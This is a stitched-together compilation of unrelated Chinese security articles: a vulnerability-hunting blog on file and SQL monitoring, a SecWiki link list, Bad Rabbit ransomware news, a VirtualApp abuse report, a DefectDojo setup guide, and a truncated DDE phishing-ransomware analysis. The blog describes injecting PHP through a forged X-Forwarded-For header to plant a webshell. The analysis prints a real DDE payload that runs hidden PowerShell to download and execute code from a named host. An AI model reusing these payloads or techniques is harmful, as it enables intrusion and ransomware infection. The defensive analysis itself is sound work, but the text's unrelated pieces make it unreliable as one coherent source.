本文作者:Auther : [email protected](米斯特安全攻防实验室)

前言

“监控”一词,相信大家很常见,例如:xxx酒店厕所被安装监控、xxx明星被狗仔24小时监控,也有奶权师傅写过的《Python系列之——利用Python实现微博监控》和笔者写过的《从编写知乎粉丝监控到漏洞挖掘再到盗号》

但这跟”漏洞挖掘”联系起来的话似乎就让人摸不着头脑,其实不然,通过”监控”可以帮我们做很多事。

监控狂人的修炼之路

以大家最常见的一个东西起->扫描器,其可以辅助渗透测试工程师更好更简单的进行漏洞的信息发现,但是发现漏洞后要测试漏洞的时候哪些验证步骤是不是就很头疼呢?通过”监控”去完成是不是更好~

在我们做盲测漏洞的时候可能会考虑到一些问题,最主要的问题肯定就是什么时候平台能收到结果呢?

这时候就可以对接一些平台的API进行关键字监控了。

使用ceyeAPI接口对SSRF漏洞进行长期监控

API: /api/record?token={token}&type={dns|request}&filter={filter}
token: your ceye token.
type: type of query, ‘dns’ or ‘request’.
filter: match {filter}.{your domain}.ceye.io rule, but limit 20.

Python写一个监控然后再写个发信,这样在有些环境下迟迟到来的漏洞信息就会立即被在床上玩手机的你知道了。

其实如上的思路还可以利用很多结合dnslog的原理去监控,这里借助了ceye这个平台的API,还可以参考Bugscan的 dnslog平台 自己去搭建一个然后噼里啪啦,这里其实BurpsuiteScanner模块就借助了这样的思路去更快捷的扫描发现SSRF漏洞,但是却没办法做到长时间的”蛰伏期”(也就是在一些情况下,结果是需要一个等待才能到达),那其实大家可以继续开拓自己的思维去想些更有价值的东西。

如上说的一些”姿势”可能是废话了,很多人都自己多多少少都有想过也实现了,但是别急,前菜清淡,但主菜呢,邀君共品~

很多的时候,朋友就会问我xxCMS后台怎么GetWebshell,为什么那些牛人分分钟都可以Getwebshell了?除了看代码我怎么快速的获取GetWebshell的”姿势”呢?

一般后台GetWebshell的”姿势”有这几种:后台代码/命令执行代码闭合操作缓存文件上传等等…

那其实很多的都会本文件打交道,不如先造个文件监控出来:

1.png

造完监控,不如来写个后台GET/POST请求Fuzz,在做这个Fuzz的时候处理的时候遇到很多坑,脚本写的不是很好就不拿出来丢人现眼了~

这里我做的Fuzz是结合Burpsuite日志,进行筛选然后Fuzz:

2.png

这里筛选的脚本是根据 https://github.com/tony1016/BurpLogFilter 去造了一个2.7版本的~

其实这个脚本大概的功能实现是这样的:

设置GET/POST传输参数对应值为随机字符串(这里使用了python的uuid),会生成一个Fuzz历史Log文件,以便跟文件监控对比。

历史Log对比文件监控:

3.png

这里Fuzz之后发现有两个文件被修改了,而这两个文件因为有CMS特征的存在就不一一例举了。为什么会被修改呢?因为这里传递的值被写入了文件中,找到对应功能点发现有CSRF,一结合就造成了CSRF+后台GetWebshell~

通过如上的姿势测试了不少的CMS,又在CNVD和补天提交相对应也获得了不少的Bounty。

在利用这种姿势的情况下偶然发现一个CMS前台访问的时候会生成一个缓存日志文件,而缓存日志文件的内容会记录用户的IP:

<?php
127.0.0.1 GET /center/useredit/
die();
?>

那其getip()函数的核心代码:

......
if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){
    $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
}elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){
    $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
}elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){
    $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}elseif (getenv("HTTP_X_FORWARDED_FOR")){
    $ip = getenv("HTTP_X_FORWARDED_FOR");
}elseif (getenv("HTTP_CLIENT_IP")){
    $ip = getenv("HTTP_CLIENT_IP");
}elseif (getenv("REMOTE_ADDR")){
    $ip = getenv("REMOTE_ADDR");
}
......

可以通过伪造XFF头进行PHP代码的闭合造成前台无限制GetWebshell,但是缓存文件的路径是:/www/center/temp/md5(text).php

通过代码了解到其的文件的命名规则是md5(time()),那其实通过记录前后的一部分时间戳加上Burpsuite的Intruder模块进行md5加密枚举就行了。

那其实还可以做一些Fuzz然后实时监控Mysql的SQL执行语句:

4.png

首先来看下Mysql的记录Log功能开了没有:

SHOW VARIABLES LIKE "general_log%";

5.png

看见其的功能OFF了~只要设置下ON就行了:

SET GLOBAL general_log = 'ON';

6.png

使用BareTail进行监控或者自己根据Log的文本规则监控就行了:

7.png

结尾

本文不足之处欢迎指出,也希望大家可以GET到一点点思路,欢迎跟笔者交流。

安全资讯

2017年网络安全公司IPO情况汇总  点击率 522 

急救药 | 发现个人信息被盗用后快速止损的方法  点击率 381 

Bad Rabbit网络中新出现的大规模勒索病毒 ,目前主要受影响地区为俄罗斯  点击率 361 

澳大利亚《关键基础设施安全法草案2017》解读  点击率 341 

Appleby律师事务所被黑泄露大量用户资料  点击率 298 

NSA bloke used backdoored MS Office key-gen, exposed secret exploits  点击率 254 

安全技术

高级渗透测试:破解世界上最安全的网络#密码: n2sd   点击率 853 

Cobra-W: 白盒源代码审计工具-白帽子版   点击率 457 

打造一款1kb大马并且处理D盾以及安全狗拦截与查杀   点击率 374 

WAF攻防研究之四个层次Bypass WAF   点击率 354 

灯塔实验室·技术沙龙(第五期)议题回顾   点击率 340 

旁路WAF:使用Burp插件绕过一些WAF设备   点击率 323 

Burp Suite pro 1.7.26破解版本 Cracked 2017/12/3   点击率 312 

SecWiki周刊(第190期)   点击率 301 

hackergame2017-writeup (中国科学技术大学第四届信息安全大赛)   点击率 301 

关于linux提权的命令你知道多少?   点击率 300 

微软开源扫描工具Sonar   点击率 297 

如何利用反弹 shell 构建你的僵尸网络   点击率 294 

菜鸟理解sql注入=“入侵五毛大楼”   点击率 280 

vulnerable-scene: 基于 Exploit-DB的漏洞环境   点击率 267 

CSRF花式绕过Referer技巧   点击率 256 

分享一个近期遇到的逻辑漏洞案例   点击率 253 

Google reCaptcha验证码识别 – 85%成功率   点击率 251 

Typecho 后门事件始末   点击率 250 

GitLeak:Github 上查找密码信息的小工具   点击率 248 

国产网站恶意代码监测(网马监控)工具优化版   点击率 244 

WDigest:清除内存中的密码,使mimikatz等工具无法获取到明文   点击率 243 

HTTPS攻击原理与防御   点击率 238 

Jboss引起的内网渗透   点击率 237 

深度学习开放数据集   点击率 236 

Typecho install.php 后门代码分析   点击率 232 

一个新的代码注入技巧   点击率 227 

A Study of RATs 29 年152种远控名称的时间轴   点击率 223 

OSINTforPenTests: 渗透测试中的开源情报信息收集   点击率 221 

代码审计之Semcms v2.3   点击率 220 

CTFDefense: 一些CTF的离线工具   点击率 219 

[CVE-2017-15688] GitBook 任意文件读取漏洞   点击率 216 

安全客2017季刊-第3期   点击率 213 

坏兔子勒索病毒事件基本分析报告   点击率 213 

互联网企业安全之端口监控   点击率 213 

Wappalyzer SSRF   点击率 210 

爬虫采集去重优化浅谈   点击率 209 

NATBypass: 一款lcx在golang下的实现   点击率 208 

互联网企业安全之端口监控   点击率 208 

Biu-framework 企业内网基础服务安全扫描框架   点击率 202 

sqlmap自带的tamper你了解多少?   点击率 201 

DOM XSS – auth.uber.com   点击率 199 

无线网络(WI-FI)保护协议标准WPA2漏洞综合分析报告   点击率 198 

社交应用Sarahah安全测试   点击率 193 

Java安全之反序列化漏洞分析   点击率 191 

平衡信息杯-Write-Up   点击率 189 

关于最近的 Typecho 安全漏洞   点击率 188 

基于flask的restful-api后端笔记   点击率 186 

UsbKeyboardDataHacker: USB键盘流量包取证工具   点击率 185 

D-Link系列路由器漏洞挖掘入门   点击率 183 

WAF与静态统计分析   点击率 180 

Apache Solr 已知版本漏洞现状基本调查报告   点击率 175 

前端防御从入门到弃坑–CSP变迁   点击率 172 

一文读懂集成学习(附学习资源)   点击率 169 

Authenticode签名伪造——PE文件的签名伪造与签名验证劫持   点击率 165 

onehttpd 0.7远程拒绝服务漏洞分析   点击率 163 

VulHint: VulHint是辅助代码审计的 sublime text 3 插件   点击率 163 

Unsupervised Machine Learning in Cyber Security   点击率 162 

blueborne_CVE-2017-0785深入分析与调试   点击率 162 

exploitpack: Exploit Pack – Penetration testing framework   点击率 161 

Cisco Traffic Analysis & Encrypted Threat Analytics   点击率 158 

deception-as-detection: 基于欺诈的检测技术   点击率 158 

WordPress安全架构分析   点击率 155 

WebShell-Detect-By-Machine-Learning: 使用机器学习识别WebShell   点击率 153 

moloch 网络流量回溯分析系统   点击率 152 

第三期VFSec技术沙龙 PPT   点击率 151 

How to post-process YARA rules generated by yarGen   点击率 148 

VirtualApp:Android 双开沙箱   点击率 146 

Linux TBB SFTP URI allows local IP disclosure   点击率 143 

Ubuntu 编译 OsmocomBB 环境 [更新2017-10-24]   点击率 140 

Stealing Amazon EC2 Keys via an XSS Vulnerability   点击率 140 

SemFuzz:基于语义自动生成漏洞PoC   点击率 137 

美国情报分析互联网资源之一   点击率 137 

Slack SAML authentication bypass   点击率 132 

SecurityFTW/cs-suite: AWS云基础设施安全审计工具   点击率 131 

OSXFuzz: macOS Kernel Fuzzer   点击率 131 

2017年Q3季度互联网安全报告   点击率 131 

X-Ray:在线移动应用安全测试(iOS/Android)   点击率 130 

IoT_reaper 情况更新   点击率 128 

移动应用安全开发最佳实践   点击率 127 

Passionfruit: iOS app分析取证系统   点击率 127 

Scan .onion hidden services with nmap using Tor, Docker   点击率 123 

YeAHPot: Yet Another Honey Pot   点击率 121 

recodeking/MalwareAnalysis: 恶意软件分析工具和资源列表   点击率 120 

KeyStoneJS Pentest Report   点击率 120 

偏执的iOS逆向研究员:收集全版本的macOS iOS+越狱+内核调试   点击率 118 

Stage-RemoteDll.ps1:32位和64位架构上的各种DLL注入技术   点击率 102 

DNS错误响应的案例   点击率 101 

Detecting Malicious Requests Using Keras & Tensorflow   点击率 91 

SecWiki 专注安全领域最新资讯、专题和导航,做高质量聚合与评论。

-----微信ID:SecWiki-----
SecWiki,5年来一直专注安全技术资讯分析!
SecWiki:https://www.sec-wiki.com

本期原文地址: SecWiki周刊(第191期)

今天,卡巴斯基发布了新的研究报告,他们发现 Bad Rabbit 中有两个明显的漏洞。一些“幸运”的 Bad Rabbit 受害者或许可以利用这些漏洞来绕过赎金。

Bad Rabbit 并没有删除文件备份( shadow volume copies)

卷影拷贝服务是 Windows 系统在使用过程中,自动创建文件副本的一项服务。

勒索软件的工作原理是:首先创建一个文件副本,并加密这个副本,然后再删除原始的文件,而这些创建出来的副本文件都会被 Windows 认为是“in use”,也就是会被自动备份到内存中。这些文件本身不可见,会根据系统内存自动分配到内存空间上,并保留一段时间。

大部分的勒索软件都会删除卷影拷贝,这样可以防止硬盘恢复软件找到被加密的原始文件副本和未被加密的文件。

根据卡巴斯基的报告,Bad Rabbit 勒索软件中并没有专门的进程来删除卷影拷贝。虽然用户不能靠它恢复全部的文件,但也可以恢复一部分了。

解密密码中也存在漏洞,但并不容易破解

卡巴斯基研究员在解密密码上也发现了漏洞。

和其他通过硬盘加密的勒索软件相同,Bad Rabbit 会加密受害人的文件,MFT (Master File Table),并替换掉 MBR (Master Boot Record)来显示勒索信息。

在这个勒索信息中,受害者须付赎金,并将”personal installation key#1″中的代码复制到 Tor 站点中,然后获得解密密码。

而研究人员通过调试模式也可以获得解密密码:

我们发现 dispci.exe 中有一段代码错误,恶意软件生成的密码不会被从内存中删除,所以我们通过调试模式调取了恶意软件生成的密码,并在系统重启后输入这个密码,我们发现密码是有效的,进程也可以继续进行。

不幸的是,这个方法只可以绕过引导程序,用户开机重启之后,文件还是被加密的。因为这些密码已经从内存中删除了。

研究人员在 WannaCry 中也发现了类似的错误,但是这种错误在现实中很少见,通常只在进行研究的特定环境下才会出现。

*参考来源:bleepingcomputersecurityaffairs,FB小编 Liki 编译,转载请注明来自FreeBuf.COM

一、 前言

VirtualApp(以下称VA)是一个App虚拟化引擎(简称VA)。VirtualApp创建了一个虚拟空间,你可以在虚拟空间内任意的安装、启动和卸载APK,这一切都与外部隔离,如同一个沙盒。运行在VA中的APK无需在Android系统中安装即可运行,也就是我们熟知的多开应用。

VA免安装运行APK的特性使得VA内应用与VA相比具有不同的应用特征,这使得VA可用于免杀。此外,VA对被多开应用有较大权限,可能构成安全风险。

本报告首先简要介绍VA的多开实现原理,之后分析目前在灰色产业的应用,针对在免杀的应用,安全云对此的应对,并给出色情应用作为例子。另一方面,通过对样本分析,展示了VA对于安装在其内应用的高度控制能力,及其带来的安全风险。最后对本报告进行总结。

二、 VirtualApp原理

Android应用启动Activity时,无论通过何种API调用,最终会调用到ActivityManager.startActivity()方法。该调用为远程Binder服务(加速该调用,Android应用会先在本地进程查找Binder服务缓存,如果找到,则直接调用。VA介入了该调用过程,通过以下方式:

1. 替换本地的ActivityManagerServise Binder服务为VA构造的代理对象,以接管该调用。这一步通过反射实现。

2. 接管后,当调用startActivity启动多开应用时,VA修改Intent中的Activity为VA中己声明的占位Activity。这一步的目的是绕过Android无法启动未在AndroidManifest.xml中声明Activity的限制。

3. 在被多开应用进程启动后,增加ActivityThread.mH.mCallback的消息处理回调。这一步接管了多开应用主线程的消息回调。

在以上修改的基础上,多开应用的Activity启动过程可分为以下两步骤:

VirtualApp技术黑产利用研究报告

步骤一 修改Activity为己声明的StubActivity

VirtualApp技术黑产利用研究报告

步骤二 mCallback从Intent中恢复Acitivty信息

AMS:Android系统的ActivityManagerService,是管理Activity的系统服务

VAMS:VA用于管理多开应用Activity的服务,大量API名称与AMS雷同。

VApp:被多开应用所在的进程,该进程实际为VA派生的进程。

由图可知,VA在AMS和VApp中通过增加VAMS对启动Intent进行了修改,实现了对Android系统的欺骗,而当应用进程启动后,还原Activity信息。通过自定义Classloader令使得Android加载并构造了未在VA的AndroidManifest.xml中声明的Activity。

以上是启动过程的简化描述,实际上,VA对大量Android 系统API进行了Hook,这使得运行在其中的应用在VA的控制下,为VA的应用带来可能性。

三、 在灰色产业的应用

3.1 免杀

VA等多开工具将Android系统与VA内的应用隔离,使得应用的静态特征被掩盖,目前己有恶意应用使用VA对自身重打包,重打包后的应用包名、软件名与原应用不同,从而实现免杀。安全云使用动态检测关联恶意应用和VA的方式应对该免杀技术。

免杀的常见做法是:恶意应用加密后打包在VA内,由VA在运行时解密APK,将恶意应用的APK安装到VA内并运行。

经过打包后,VA用的包名、证书可以与恶意应用不同,资源文件、二进制库文件与恶意应用相互独立。基于包名、证书等特征维度的静态检测方式的准确性受到影响。

如图,当静态引擎对VA应用检测时,获得的应用信息(包名、证书、代码等)是VA的信息,没有恶意特征。而当VA运行时,可以解密恶意应用APK,通过反射等技术欺骗Android系统运行未安装在系统中的APK,实现了免杀。

VirtualApp技术黑产利用研究报告

传统静态检测方式

针对该免杀方式,安全云的APK动态检测实现了VA内应用APK的自动化提取,可将VA母包与恶意应用APK子包进行关联查杀。

如图,动态引擎安装并启动APK,当识别出是VA应用时,提取出VA内的己解密的子包,对提取的子包进行检测。根据子包检测结果综合判定母包安全性,并对母包的安全风险进行标记查杀。

VirtualApp技术黑产利用研究报告

动态检测查杀示意图

VirtualApp技术黑产利用研究报告

免杀案例 色情应用

2017年8月以来,安全云监测到部分色情应用使用VA的对自身打包,以达到绕过安全检测的目的。这些应用使用了随机的包名和软件名,并且均对恶意应用子包进行了加密。部分包名如表所示:

VirtualApp技术黑产利用研究报告

从动态检测引擎提取的子包看,一个色情应用子包对应的带VA壳的母包(SHA1维度)数量从1到529不等。27个色情APK共对应1464个VA母包。

VirtualApp技术黑产利用研究报告

该类应用会以各种理由诱导用户升到更高等级的VIP不断支付:

VirtualApp技术黑产利用研究报告

读取用户短信收件箱:

VirtualApp技术黑产利用研究报告

并且可以通过远程服务器控制应用是否运行,控制支付宝和微信支付的开启以逃避支付平台打击:

VirtualApp技术黑产利用研究报告

目前该类色情应用的VA母包和子包均己被标记为灰色。

3.2 重打包

相较于以往反编译后插入代码进行打包编译的方式,使用VA进行重打包具有以下优点:

1. 不需要对原应用进行反编译修改。

由于VA是多开工具,这一优点是显然的。传统的重打包方式是对应用进行反编译成Smali代码,对Application类或Activity进行修改,插入广告展示等代码,再重编译打包回去。而VA重打包的应用只要让应用运行在VA内即可。

2. 有效规避重打包检测

应用可能通过检测签名、包名等方式检查是否被修改。而VA对Android系统的API进行了Hook,其中包括PackageManager的API,这些API用于获得包括签名在内的软件包信息。

3. 通用性强

同样的VA代码未经修改就可打包众多应用,可批量制造多开应用。

4. 功能众多

由于应用运行在VA进程内,VA代码具有与应用等同的权限,从下面的例子可知VA能做到包括但不限于:模拟点击、截图、在Activity创建时插入广告。以

以某一类重打包样本为例,应用被重打包后启动界面增加一个插屏广告,如图:

VirtualApp技术黑产利用研究报告

点击插屏广告后,将下载对应的应用(图中为“斗地主”及”炸金花”)并安装到VA中,并在桌面添加图标。区别于其他应用推广方式,此种方式安装的应用不必通过Android的包管理器进行安装,必要时也可静默安装。

除了增加启动时的插屏广告,该应用还有以下行为

1. 检查反病毒软件

检查手机上是否安装了反病毒软件,如果存在,则不连接服务器获取命令。

反病毒软件列表由服务器下发:

VirtualApp技术黑产利用研究报告

内容如下:

VirtualApp技术黑产利用研究报告

主流的手机安全应用如30、QQ手机管家、LE安全大师等均在该列表中。

如果存在,则不连接服务器读取命令脚本:

VirtualApp技术黑产利用研究报告

2. 启动应用

可由服务器下发指令控制运行VA内的指定应用:

VirtualApp技术黑产利用研究报告

3. 模拟点击

可对运行在VA内的应用进行点击。

1) 当VA内应用启动时注册Broadcast Receiver:

VirtualApp技术黑产利用研究报告

2) 接收服务器脚本,发送广播

VirtualApp技术黑产利用研究报告

3) 执行点击脚本

(1) 获得DecorViews,该View为Android应用的底层View。因为被多开的应用跑在VA内,因此VA有权限对应用类进行操作。

VirtualApp技术黑产利用研究报告

(2) 对(1)获得的View,调用View.dispatchTouchEvent()模拟触摸操作,支持的操作有,ACTION_DOWN(按下)、ACTION_MOVE(按下和抬起之间的操作)、ACTION_UP(抬起)。

VirtualApp技术黑产利用研究报告

(3) 值得注意的是,只有当用户不存在(未点亮屏幕,未锁屏)时,服务器的任务才会执行:

VirtualApp技术黑产利用研究报告

4. 部分版本可对应用界面进行截图

实现方式与模拟触摸操作类似,先获得DecorView,之后调用Android系统提供的方法进行截屏:

VirtualApp技术黑产利用研究报告

对广播进行响应,并保存截图:

VirtualApp技术黑产利用研究报告

相应的上传截图功能:

VirtualApp技术黑产利用研究报告

5. 在Activity创建时显示广告

VA对Activity的生命周期函数进行了Hook,因此可以方便地在Activity调用onCreate函数时显示广告:

VirtualApp技术黑产利用研究报告

6. 上传设备信息

VirtualApp技术黑产利用研究报告

包括设备的型号、Android Id、分辨率等信息。

7. 上传己安装应用列表

VirtualApp技术黑产利用研究报告

3.3 免Root Hook

VA可在应用Application类创建时执行代码,这些代码先于应用执行。通过结合Hook框架(如YAHFA、AndFix)、VA可以方便对应用进行Hook,其Hook能力与Xposed框架等同。与Xposed框架比较如表所示:

VirtualApp技术黑产利用研究报告

相较于Xposed框架,通过此方式Hook具有如下优点:

1. 不需要Root权限

2. 不需要重启系统就可以重新加载Hook代码,重启应用即可

3. 可与Native Hook框架结合,Hook二进制库。实际上VA本身己使用Native Hook框架对应用的IO操作进行了重定向

VA的免Root Hook能力对于被多开应用是一种安全威胁。VA可做到的包括但不限于:

1. Hook密码相关函数,截取用户输入的密码

2. Hook网络通信函数,监听网络通信

3. Hook Android API。伪造Android设备信息、GPS定位记录等。

下面分析某微信抢红包应用,以展示VA免Root Hook的能力。

该样本是一个微信抢红包应用。目前流行的抢红包功能实现上有两种方案,一种是通过Android AccessiblityServices监测用户窗口,当红包关键字出现时,点击对应的View对象;一种是使用Xposed框架对红包相关的函数进行Hook,这种方案需要Root权限,但是不必打开微信界面即可抢红包。此应用抢红包也使用Hook红包相关函数的方式,但是不需要Root。

1. 注入代码

VA实现了插件化的注入模块,其中一个注入模块为FixBug_AppInstrumentation,该模块替换了ActivityThread的mInstrumentation对象:

VirtualApp技术黑产利用研究报告

mInstrumentation对象会在应用Application类及Activity类创建时被执行相应的回调,该应用了修改了其中一个回调callApplicationOnCreate,在Application执行了红包代码:

VirtualApp技术黑产利用研究报告

其中LuckyMoneyDispatcher为红包功能模块。

函数LuckyMoneyDispatcher.andFixForLuckMoney()实现了方法替换:

VirtualApp技术黑产利用研究报告

使用开源热修补框架AndFix替换com.tencent.mm.booter.notification.b.a()为LuckMoneyMethProxy.a(),并将被替换函数保存为LuckMoneyMethProxy.aOriginal()。

2. 模拟点击红包消息

LuckMoneyMethProxy.a()为替换后的函数,当微信接收到消息时被调用。

VirtualApp技术黑产利用研究报告

函数先判断消息类型,当确定是红包(436207665)后,解析消息,构造Intent并发送。这一步模拟了点击红包消息时的弹窗。

3. 模拟拆开红包

上一步的弹窗是一个Activity,当弹出时(对应Activity的onResume),mInstrumentation将被回调:

VirtualApp技术黑产利用研究报告

onLuckyMoneyResume根据版本号确定要反射调用的“拆开红包按钮”(包括BUTTON_OPEN、OBJECT_OPEN、METHOD_OPEN)

VirtualApp技术黑产利用研究报告

最终由MonitorHandler反射调用拆开红包函数:

VirtualApp技术黑产利用研究报告

四、 总结

VirtualApp作为开源的多开应用框架,可以被任何人使用。它在Android系统和被多开应用间增加了中间层。这带来了两方面问题,一方面,VA可掩盖应用的静态特征(包名、证书、资源文件、代码等),使得单纯的静态检测方法失效,应用具有了一定免杀的能力。同一个恶意应用可以有众多VA母包,且母包不包含恶意特征,这给检测引擎识别恶意应用带来了难度。安全云通过动态检测在VA母包运行时动态提取VA应用中的子包,并结合子包的恶意情况对母包的恶意情况进行综合判定,可有效对恶意应用的VA母包进行标记查杀。

另一方面,由于多开应用运行在VA中,VA对被多开应用具有不弱于Root的权限,可方便有效介入应用运行流程。例如:当应用运行时展示广告,对多开应用进行截屏、模拟点击。更进一步的,VA可通过Hook修改应用的执行流程,获得应用的隐私数据,包括但不限于密码、与服务器的数据通信、照片等。应用应当对运行在VA或其他多开应用内的带来的安全风险有所了解并加以防范,特别是金融、通讯类应用。

安全云己对相关VA应用进行监测,并及时对新型安全威胁作出响应。

*本文作者:腾讯手机管家,转载请注明来自 FreeBuf.COM

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

安全服务工作中,漏洞的跟踪管理,应该是让大多数安全服务人员都头疼的事。业务系统少还好,一个Excel表格就解决了,而面对数十个不同的业务系统,邮件、报告满天飞,Excel大法就行不通了,报告整理、漏洞复测确认常常让人精疲力尽。DefectDojo正是一款解决漏洞管理之痛的开源工具,DefectDojo可将各种漏洞报告(Nessus、Nmap、Burp等)汇总分析,对漏洞的确认、复测进行跟踪,建立计划扫描任务,导出报告等。

关于这款工具的更多介绍,可以看看OWASP AppSec USA 2017会议上Greg Anderson的演讲视频

项目地址

https://github.com/OWASP/django-DefectDojo

项目文档

http://defectdojo.readthedocs.io/en/latest/

DefectDojo安装

本次安装基于Ubuntu Server 16.04 LTS

安装准备

创建一个普通用户,指定home目录为/home/dojo,添加sudo权限,:

useradd -d /home/dojo -m dojo

passwd dojo #设置系统密码

vi /etc/sudoers

#添加以下一行内容:

dojo    ALL=(ALL:ALL) ALL

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装PostgreSQL

本次示例使用PostgreSQL数据库,安装PostgreSQL数据库,创建DefectDojo使用的账号:

#安装数据库:

apt-get install postgresql

#添加DefectDojo用户,设置密码:

su - postgres        

createuser --interactive defectdojo

psql -U postgres

alter user defectdojo with password '[email protected]';

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装、激活Virtualenv

以下安装切换到dojo普通权限用户。

su - dojo

cd ~

pip install virtualenv

virtualenv dojo

source dojo/bin/activate

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装Dojo

git clone [https://github.com/OWASP/django-DefectDojo.git](https://github.com/OWASP/django-DefectDojo.git)

cd django-DefectDojo

./setup.bash

执行安装脚本,数据库选择2,使用PostgreSQL,安装过程中需sudo切换到root权限,输入系统帐户dojo的密码。

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

到数据库部分,填写刚才创建的数据库账号信息:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

填写DefectDojo Web管理员账号:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

安装Uwsgi

pip install uwsgi

安装WKHTML

wkhtmltopdf用于生产PDF报告,自动安装脚本出错的话,可以手动下载安装wkhtmltopdf

在/opt/django-DefectDojo目录下执行

./reports.sh

禁用Debug,添加信任IP

开始使用时为便于排错,可不修改DEBUG选项。

使用VI编辑/opt/django-DefectDojo/dojo/settings.py,修改DEBUG值为:

`DEBUG = False`

添加本机IP到信任中,我的IP是1.1.2.12:

ALLOWED_HOSTS = [u'1.1.2.12']

启动DefectDojo

在django-DefectDojo目录下执行:启动Celery和Beats

celery -A dojo worker -l info --concurrency 3 &
celery beat -A dojo -l info &

启动Uwsgi

uwsgi --socket 127.0.0.1:8001 --wsgi-file wsgi.py --workers 7 &

安装配置Nginx

DefectDojo使用uWSGI的方式,启动后并不能直接访问,还需要配置Nginx,也可以在Nginx中添加SSL证书,配置HTTPS访问,增强安全性。这里只是简单演示,未使用HTTPS。

apt-get install nginx

删除/etc/nginx/site-enabled/etc/nginx/site-available目录下默认文件,

创建新的配置文件:

cd /etc/nginx/sites-enabled

vi defectdojo.conf

添加以下内容:

upstream django {
  server 127.0.0.1:8001;
}

server {
  listen 8888;
  server_name defectdojo;
  client_max_body_size 500m; 

  location /static/ {
      alias  /home/dojo/django-DefectDojo/static/;
  }

  location /media/ {
      alias  /home/dojo/django-DefectDojo/media/;
  }

  location / {
      uwsgi_pass django;
      include  /home/dojo/django-DefectDojo/wsgi_params;
  }
}

重启Nginx

service nginx stop && service nginx start

远程访问,主界面如下:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

启动脚本

为方便下次启动,在dojo账号home目录下创建一个启动脚本defectdojo-start.sh,

添加以下内容:

#!/bin/bash

cd /home/dojo
source dojo/bin/activate
cd django-DefectDojo
celery -A dojo worker -l info --concurrency 3 &
celery beat -A dojo -l info &
uwsgi --socket 127.0.0.1:8001 --wsgi-file wsgi.py --workers 7 &

软件升级

使用以下命令升级:

cd django-DefectDojo
git checkout master
git pull
pip install .
./manage.py makemigrations dojo
./manage.py makemigrations
./manage.py migrate

Bower的静态文件经常会更新,建议定期重装bower,更新文件:

cd django-DefectDojo
cd components
bower install
cd ..
./manage.py collectstatic --noinput

报错处理

安装不完整时,部分文件不能正常访问,打开界面会出现这种情况:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

查看日志,发现大量文件访问结果为404:

开源漏洞管理工具DefectDojo(一)使用指南:安装配置

解决方法:

查看/home/dojo/django-DefectDojo/static目录下404报错文件是否存在,如不存在,再运行一次./setup。

文件存在仍报错的话,检查Nginx配置。

配置HTTPS、开机自启动

参考django-DefectDojo/sample_deployments/目录下脚本文件

*本文原创作者:Shad0wpf_,本文属FreeBuf原创奖励计划,未经许可禁止转载

概述

近日,腾讯反病毒实验室发现利用DDE的勒索邮件正大规模爆发。DDE代码执行利用攻击原理为,微软动态数据交换(DDE)属性允许Office应用程序从其他程序中加载数据。而黑客正是利用DDE这种天然属性,在Office应用程序中加载执行恶意代码。尽管DDE做为一项老功能已被较新的对象链接与嵌入(OLE)工具包所取代,但Office应用程序出于兼容的考虑仍然支持DDE功能。(关于DDE攻击技术的介绍请参考之前的文章:无需开启宏即可渗透:在Office文档中利用DDE执行命令

在这波攻击事件中,黑客的攻击流程如下:黑客使用发票等主题的钓鱼邮件为初始载荷发起攻击,当文档中的DDE代码获得运行后,DDE代码会调用powershell尝试从多个不同的C&C服务器下载loader程序,loader程序会与C&C通信下载勒索软件并加载执行,最终加密用户电脑数据以达到破坏数据勒索钱财的目的。

从时间维度来看,2017年10月9日DDE执行代码的技术细节被公开,从腾讯反病毒实验室的安全大数据可以看到在细节被公开的前两天中,鲜有恶意文档利用这种技术,但随着时间的推移,这种利用方式受到越来越多黑客们的青睐。

下图为腾讯反病毒实验室最近截获的利用DDE代码执行的恶意文档趋势图。

1.png

钓鱼邮件特征

钓鱼邮件使用伪造的发件人地址,发件人地址呈现一定的规律:通常为一个男性的名字,后面跟随机数字组成的邮箱名称,如[email protected]

在这次攻击事件中,我们得到的发件人包括:

Angie <[email protected]>

Beatrice <[email protected]>

Brooke Calder <[email protected]>

Cynthia <[email protected]>

Daphne <[email protected]>

Eddie <[email protected]>

Eliza <[email protected]>

Felecia <[email protected]>

Holly <[email protected]>

Jacqueline<[email protected]>

Julian Seward <[email protected]>

Latisha Neville <[email protected]>

Leann <[email protected]>

Phoebe <[email protected]>

Shelby <[email protected]>

Zelma [email protected]

此外,邮件主题也多为与发票,文档有关的内容,已知的邮件主题包括:

DC0007096.doc (其中的7096可以为其他4位随机数字)

Emailed Invoice – 385663(其中385663可以为其他的6位随机数字)

Invoice

Order

Paper

Receipt

Scan

Scanned document

Documents

而做为邮件的内容部分,则常保持为空白内容。

技术分析:

Word文档:

受害者下载并点击了附件中的Office文档,Office就会显示下面的提示

2.png

当用户点击了“是”后,WORD文档会通过CMD运行powershell命令:

3.png

对文档分析,可以看到DDE内容为:

DDE C:\\Windows\\System32\\cmd.exe "/kpowershell -NoP -sta -NonI -w hidden $e=(New-ObjectSystem.Net.WebClient).DownloadString('http://vithos.de/hjergf76');powershell -e$e "  

在这个过程中的进程执行链如下:

4.png

Powershell功能

Powershell会从http://vithos.de/hjergf76中下载一段base64过的代码,解码后的功能为:依次尝试连接URL列表中的每个URL,下载一个loader到本地后执行。Base64解码后的内容为

5.png

loader&ransomware分析

loader首先将编码的数据进行解码,然后到解码后的代码执行。以我们分析的样本为例,硬编码的数据位于0x30362A4地址处,大小为0x4AF8字节。

6.png

使用到的解码算法如下:

7.png

